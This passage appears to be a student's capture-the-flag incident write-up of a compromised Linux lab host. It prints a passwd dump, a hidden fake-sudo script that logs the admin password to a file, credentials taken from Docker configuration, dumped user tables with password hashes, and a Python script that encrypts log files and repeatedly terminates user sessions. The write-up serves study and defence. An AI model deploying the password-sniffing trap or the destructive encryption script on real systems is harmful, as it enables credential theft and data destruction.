systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuid:x:107:113::/run/uuid:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
landscape:x:111:116::/var/lib/landscape:/usr/sbin/nologin
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:113:120:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
fwupd-refresh:x:114:121:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
johnsysadmin:x:1000:1000::/home/johnsysadmin:/bin/bash
it_consultant:x:1001:1001::/home/it_consultant:/bin/bash
eliseo:x:1002:1002::/home/eliseo:/bin/bash
juliana:x:1003:1003::/home/juliana:/bin/bash
smb:x:1004:1004::/home/smb:/bin/bash
it_consultant@ip-19-0-132-254:~$
```

Mitigations

Action:	Item 1: secure /etc/passwd file, implement enhanced SELinux policies to mitigate Item 2: Item 3: Item 4: Additional Recommendations:
----------------	---

Vulnerability Name - sudo password sniffing of admin user – Location (Severity)

sniffing of sudo password via fsudo script placed into hidden .locale directory allowed the attackers to intercept the admin password . The execution of the malicious code had been executed through append of malicious commands to the end of the administrator user .bashrc file.

Remediation

Who:	IT Team
Vector:	local after login
Action:	Item 1: secure critical shell configuration files after setup, implement enhanced SeLinux policies to monitor modification Item 2: Item 3: Item 4: Additional Recommendations:

<....irrevelant output cut>

```
if [ "$color_prompt" = yes ]; then
  PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
```

```

else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -aF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands. Use like so:
# sleep 10; alert
alias alert='notify-send --urgency=low -i "[ $? = 0 ] && echo terminal | echo error" "$(history|tail -n1|sed -e
\'s/^s*[0-9]\+\s*//;s/[/;&|]\s*alert$/\'")"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
    if [ -f /usr/share/bash-completion/bash_completion ]; then
        . /usr/share/bash-completion/bash_completion
    elif [ -f /etc/bash_completion ]; then
        . /etc/bash_completion
    fi
fi

```



```
#alias sudo=/home/johnsysadmin/.locale/fsudo
#((K))((E))((Y)) --> 30sCHumIfzWRhhoKRoyFTa7Yx0LaXvmu
johnsysadmin@ip-19-0-132-254:~$ cat ~/.locale/fsudo
read -sp "[sudo] password for $USER: " sudopass
echo ""
#991b5887ab76f9fa6061ee44d2d20a8e42de631308853f38f5883e36c8b1d3bc
sleep 2
echo "Sorry, try again."
echo $sudopass >> /etc/pass.txt

/usr/bin/sudo $@johnsysadmin@ip-19-0-132-254:~$
```

```
johnsysadmin@ip-19-0-132-254:/home/it_consultant$ sudo -i
[sudo] password for johnsysadmin:
root@ip-19-0-132-254:~# cd /home/johnsysadmin/
root@ip-19-0-132-254:/home/johnsysadmin# ls -la
total 32
drwxr-x--- 3 johnsysadmin johnsysadmin 4096 Nov 19 19:09 .
drwxr-xr-x 7 root        root        4096 Nov 19 06:40 ..
-rw----- 1 johnsysadmin johnsysadmin  455 Nov 19 20:24 .bash_history
-rw-r--r-- 1 johnsysadmin johnsysadmin  220 Jan  6 2022 .bash_logout
-rw-r--r-- 1 johnsysadmin johnsysadmin 3870 Nov 19 19:09 .bashrc
drwxr-xr-x 2 johnsysadmin sysadmin    4096 Nov 19 18:16 .locale
-rw-r--r-- 1 johnsysadmin johnsysadmin  807 Jan  6 2022 .profile
-rw-r--r-- 1 johnsysadmin johnsysadmin   0 Nov 19 15:17 .sudo_as_admin_successful
-rw----- 1 johnsysadmin johnsysadmin  837 Nov 19 19:09 .viminfo
root@ip-19-0-132-254:/home/johnsysadmin# ls -la .locale/fsudo
-rwxr--r-- 1 johnsysadmin sysadmin 204 Nov 18 00:37 .locale/fsudo
root@ip-19-0-132-254:/home/johnsysadmin# cat .locale/fsudo
read -sp "[sudo] password for $USER: " sudopass
echo ""
#991b5887ab76f9fa6061ee44d2d20a8e42de631308853f38f5883e36c8b1d3bc
sleep 2
echo "Sorry, try again."
echo $sudopass >> /etc/pass.txt

/usr/bin/sudo $@root@ip-19-0-132-254:/home/johnsysadmin#
```

Vulnerability Name docker exploitation – Location (Severity)

@Madapiw

Description:	After exploitation of johnsysadmin access and elevation to root level, hackers could read all important environment variables and service configuration files of docker servers. This had allowed the attackers to access all the information in the system databases and docker containers, allowing for potential exfiltration of critical sensitive information
Impact:	Critical
System:	Docker, databases, critical system logs and other components

References:

Exploitation Proof of Concept

Contents of docker-compose.yml, which is accessible after gaining root privileges.

```
db-docker:
  container_name: db-docker
  hostname: db-docker
  build:
    context: db
  command: '--default-authentication-plugin=mysql_native_password'
  restart: always
  environment:
    - MARIADB_ROOT_PASSWORD=uwuntu_master_slave
    - MARIADB_DATABASE=iot_sensors
  healthcheck:
    test:
      [
        "CMD-SHELL",
        "mysqladmin ping -h 127.0.0.1 --password=uwuntu_master_slave --silent"
      ]
    interval: 3s
    retries: 10
  volumes:
    - db-data:/var/lib/mysql
  networks:
    - back
```

You can turn off this feature to get a quicker startup with `-A`

Database changed

MariaDB [users]> select * from users;

username	password	role	first_name	last_name	last_modified	date_added
bgenbu	ffd9ab798b168975648185d7628ecd38	2	Bertha	Genbu	2022-11-18 00:43:24	2022-11-18 00:43:24
decryptme	ee234f62b7578428925a2307b51c64b3ca153ad7336d8636f7ac3e1a8888e6c2	2	Decrypt	Me	2022-11-18 00:43:24	2022-11-18 00:43:24
dstewart	6f299895ed844bd2240acf69b3b6e2c	2	Diana	Stewart	2022-11-18 00:43:24	2022-11-18 00:43:24
eladministrador	0db613e31e5b53a2238e35469d752ffa6	1	El	Administrador	2022-11-18 00:43:24	2022-11-18 00:43:24
nsanders	ef91307aae4da64fa55b90ae1fc1f3c5	1	Nicolas	Sanders	2022-11-18 00:43:24	2022-11-18 00:43:24

5 rows in set (0.000 sec)

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
3863e118012	vase-project-dockers_mqtt_subscriber	python3 -u subscrib...	9 hours ago	Up 2 hours	0.0.0.0:6969->6969/tcp, :::6969->6969/tcp	vase-project-dockers_mqtt_subscriber_1
18e9ab7f64d	vase-project-dockers_pseudo_terminal	python3 -u terminal...	9 hours ago	Up 37 minutes		vase-project-dockers_pseudo_terminal_1
4b1ca32310d	vase-project-dockers_mqtt_publisher	python3 -u publish...	9 hours ago	Up 9 hours		vase-project-dockers_mqtt_publisher_1
ef8a0274988	vase-project-dockers_api	unicorn -b 0.0.0.0...	9 hours ago	Up 9 hours (unhealthy)	0.0.0.0:8000->8000/tcp, :::8000->8000/tcp	api
28037c4c438	nginx:proxy-manager:latest	/init	9 hours ago	Up 9 hours	9000/tcp	vase-project-dockers_php-ws-1
6059f66900e	vase-project-dockers_mqtt_broker	/docker-entrypoint...	9 hours ago	Up 9 hours	81/tcp, 0.0.0.0:180->180/tcp, :::180->180/tcp, 443/tcp	vase-project-dockers_proxy-manager_1
8d7191da772d	vase-project-dockers_db-docker	/docker-entrypoint...	9 hours ago	Up 9 hours	3306/tcp	vase-project-dockers_mqtt_broker_1
ef66b324f9d	vase-project-dockers_db-docker	/docker-entrypoint...	9 hours ago	Up 9 hours (healthy)	3306/tcp	db-docker
08a812ee6263	vase-project-dockers_nginx	/docker-entrypoint...	9 hours ago	Up 9 hours	80/tcp	vase-project-dockers_nginx_1
bd5ff7feaf008	vase-project-dockers_php-internal	/docker-php-entrypoi...	9 hours ago	Up 9 hours	9000/tcp	vase-project-dockers_php-internal_1

[sudo] password for johnnyadmin:

root@ip-19-0-132-284:~# docker ps

CONTAINER ID	IMAGE	COMMAND	CREATED	STATUS	PORTS	NAMES
3863e118012	vase-project-dockers_mqtt_subscriber	python3 -u subscrib...	9 hours ago	Up 2 hours	0.0.0.0:6969->6969/tcp, :::6969->6969/tcp	vase-project-dockers_mqtt_subscriber_1
18e9ab7f64d	vase-project-dockers_pseudo_terminal	python3 -u terminal...	9 hours ago	Up 37 minutes		vase-project-dockers_pseudo_terminal_1
4b1ca32310d	vase-project-dockers_mqtt_publisher	python3 -u publish...	9 hours ago	Up 9 hours		vase-project-dockers_mqtt_publisher_1
ef8a0274988	vase-project-dockers_api	unicorn -b 0.0.0.0...	9 hours ago	Up 9 hours (unhealthy)	0.0.0.0:8000->8000/tcp, :::8000->8000/tcp	api
28037c4c438	nginx:proxy-manager:latest	/init	9 hours ago	Up 9 hours	9000/tcp	vase-project-dockers_php-ws-1
6059f66900e	vase-project-dockers_mqtt_broker	/docker-entrypoint...	9 hours ago	Up 9 hours	81/tcp, 0.0.0.0:180->180/tcp, :::180->180/tcp, 443/tcp	vase-project-dockers_proxy-manager_1
8d7191da772d	vase-project-dockers_db-docker	/docker-entrypoint...	9 hours ago	Up 9 hours	3306/tcp	vase-project-dockers_mqtt_broker_1
ef66b324f9d	vase-project-dockers_db-docker	/docker-entrypoint...	9 hours ago	Up 9 hours (healthy)	3306/tcp	db-docker
08a812ee6263	vase-project-dockers_nginx	/docker-entrypoint...	9 hours ago	Up 9 hours	80/tcp	vase-project-dockers_nginx_1
bd5ff7feaf008	vase-project-dockers_php-internal	/docker-php-entrypoi...	9 hours ago	Up 9 hours	9000/tcp	vase-project-dockers_php-internal_1

```
IT_consultant@ip-19-0-132-254:~$ su johnsysadmin
Password:
johnsysadmin@ip-19-0-132-254:~/home/it_consultant$ sudo -i
[sudo] password for johnsysadmin:
root@ip-19-0-132-254:~# docker exec -it db-docker /bin/bash
root@db-docker:/# mysql
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
root@db-docker:/# mysql --user=wp_user --password=password
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 18446
Server version: 10.6.11-MariaDB-1:10.6.11+maria-ubu2004 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use wp_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [wp_db]> select * from wp_users;
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | ElAdministrador | $P$BjN5GcDqZordGUpjGN0f6ivU2c10 | eladministrador | test@test.com | http://vese.com | 2022-05-10 01:22:32 | 1668874032:$P$Bxw.NJd8yh0kbHf7akYUcyD7thx12F. | 0 | ElAdministrador |
+----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
1 row in set (0.000 sec)

MariaDB [wp_db]>
```

1.

example of information obtained from a docker container:

```
root@ip-19-0-132-254:~/vese-project-dockers/api# cat .env

PORT=8000

DEBUG=False

ADDR=0.0.0.0

DB_HOST=db-docker

DB_NAME=iot_sensors

DB_USER=iotadmin

DB_PWD=iotpassword123

DB_PORT=3306
```

Remediation

Who:	IT Team
Vector:	Remote,and local
Action:	<div>Item 1:</div> <div>strict monitoring of access logs and instant notifications to security personnel on watch, as well as limited access to elevated accounts.</div> <div>Item 2:</div> <div>strict monitoring of network traffic, to help detect unwanted activity</div> <div>Item 3:</div> <div>Item 4:</div> <div>Additional Recommendations:</div>

as a final measure, as mentioned before, after exfiltrating the data attackers attempted to destroy the victim system through cryptographic tools

```
root@ip-19-0-132-254:/usr/bin# cat disk_utils.py
```

```
import os
from cryptography.fernet import Fernet
from pathlib import Path
from time import sleep

def read_key():
    my_key_file = "/etc/security/seck.key"
    if os.path.exists(my_key_file):
        with open(my_key_file, 'rb') as myfile:
            master_key = myfile.read()
    else:
        print("Cannot find key")
    return master_key

def encrypt(data):
    f = Fernet(read_key())
    return f.encrypt(data)

# --K--e--Y-- x6jaxiWuSC0hHIGHp0rsQiFlmPFMARLK
if __name__ == '__main__':
    directory = "/root/vese-admin/logs"
    files = []

    for file in os.listdir(directory):
        x = directory + "/" + file
        files.append(x)

    for file in files:
        with open(file, "rb") as thefile:
            contents = thefile.read()
            encrypted = encrypt(contents)
            with open(file, "wb") as thefile:
                thefile.write(encrypted)
            sleep(429)

    while True:
        os.system('echo "You lost. "')
        os.system("for user in $( loginctl list-sessions | awk '$4 ~
/pts/ { print $1}'); do loginctl terminate-session $user; done")
        sleep(315)
```

```
root@ip-19-0-132-254:~/vese-admin/logs# ls
```

```
log1.txt    log12.txt  log16.txt  log2.txt    log23.txt  log27.txt  log30.txt
log34.txt  log38.txt  log41.txt  log45.txt  log49.txt  log52.txt  log56.txt
log6.txt    log63.txt  log67.txt  log70.txt  log74.txt  log78.txt  log81.txt
log85.txt  log89.txt  log92.txt  log96.txt  logi_all.txt
```

```
log10.txt  log13.txt  log17.txt  log20.txt  log24.txt  log28.txt  log31.txt
log35.txt  log39.txt  log42.txt  log46.txt  log5.txt   log53.txt  log57.txt
log60.txt  log64.txt  log68.txt  log71.txt  log75.txt  log79.txt  log82.txt
log86.txt  log9.txt   log93.txt  log97.txt
```

```
log100.txt log14.txt  log18.txt  log21.txt  log25.txt  log29.txt  log32.txt
log36.txt  log4.txt   log43.txt  log47.txt  log50.txt  log54.txt  log58.txt
log61.txt  log65.txt  log69.txt  log72.txt  log76.txt  log8.txt   log83.txt
log87.txt  log90.txt  log94.txt  log98.txt
```

```
log11.txt  log15.txt  log19.txt  log22.txt  log26.txt  log3.txt   log33.txt
log37.txt  log40.txt  log44.txt  log48.txt  log51.txt  log55.txt  log59.txt
log62.txt  log66.txt  log7.txt   log73.txt  log77.txt  log80.txt  log84.txt
log88.txt  log91.txt  log95.txt  log99.txt
```

EXAMPLE OF some of the contents:

```
9c9d0ea76e72a58e0ccd45f2c56f2e7771cf3ed59b6ab433780e1deb2372bf19 <flag payload
```

```
gAAAAABjeK4Df3lSrwx52oUCPLJyHMIvC6mdM8RlpRBIsW6kZG0t6R6jXDr4ykaQ_C4cE62imkcfo
aI4vIkQ7XsqR3NF8UfOisuRCVZkZ4K5MncGS3vVpjoTzxGc7PtUWba2WdaTNFLs3Uica9wMwYUOt4l
zy7xVqDpD8t5lGn_Xm2Xo0vTzWs=gAAAAABjeKP0Gyr2Cqqp0Cz1Oy186GAeKoz8YT-MWzu8sNWSFi
5XRAmvJa_OhC4f9jcCBtEfajmWRYUCDRfFP09AAs-z5tdWTNDgeOSftvv4m-GnHSv2w0YsnvfBDF03
mk4fmFe0axdqXla6w9wQqfIQmIiRIAZ5SsaySuXncSXgnkVmGQfZrlw=9c9d0ea76e72a58e0ccd45
f2c56f2e7771cf3ed59b6ab433780e1deb2372bf19
```

```
gAAAAABjeLMKyMEtfa8Gd1V3A6eYwTfyCAbiE3oQnwFccIp0WVBupF5P0fPnGCyw0yxJTxEjDS7Lm
ZmdPBeusEI-m5BPMTWaVdKT4DiWdk5B_URb8POtUKs6A9R83qNAofpvzXlajGA0zlw-Ytilxa8XUf
ITrz579kcVuZZrYF2grndklB8ZA=gAAAAABjePlw4aZrauWdB_XOS_E3TBC-oKmQuFBPsQP_0YYxse
Csi-rVwZRF2wXtM1MiltqMh9tCT11XZWNv_0eIv8auDQlUhpqfdlaycilr28lubMjzfgqs4m9C4r8u
sHdKggUwY-baKhkFLYu52dhMQ0RGAbGkdJ884UHm882XwUiNoiLlacg=gAAAAABjeK-wCx6bylVOcl
N8q8MI13XPMWM1x0_einfREW1G24_E_heXujn-sN9zRvmAndhC5ardyC5HX6UylAyjz3GVA-wycXCg
TxUN-hIiYWD_phMtZ4Oed7hecwyH6yYZ-
```

Overall, it is reasoned that the attack succeeded due to lax of oversight and improper security measures, as well, as use of insecure tools and protocols, such as sending in

plaintext credentials used by administrator over insecure MQTT protocol.

appendix: flags discovered

Flags: All discovered flags are in discovered_flags.txt on GitHub repository.

https://github.com/Madapiw/CTF_writeup_Schneider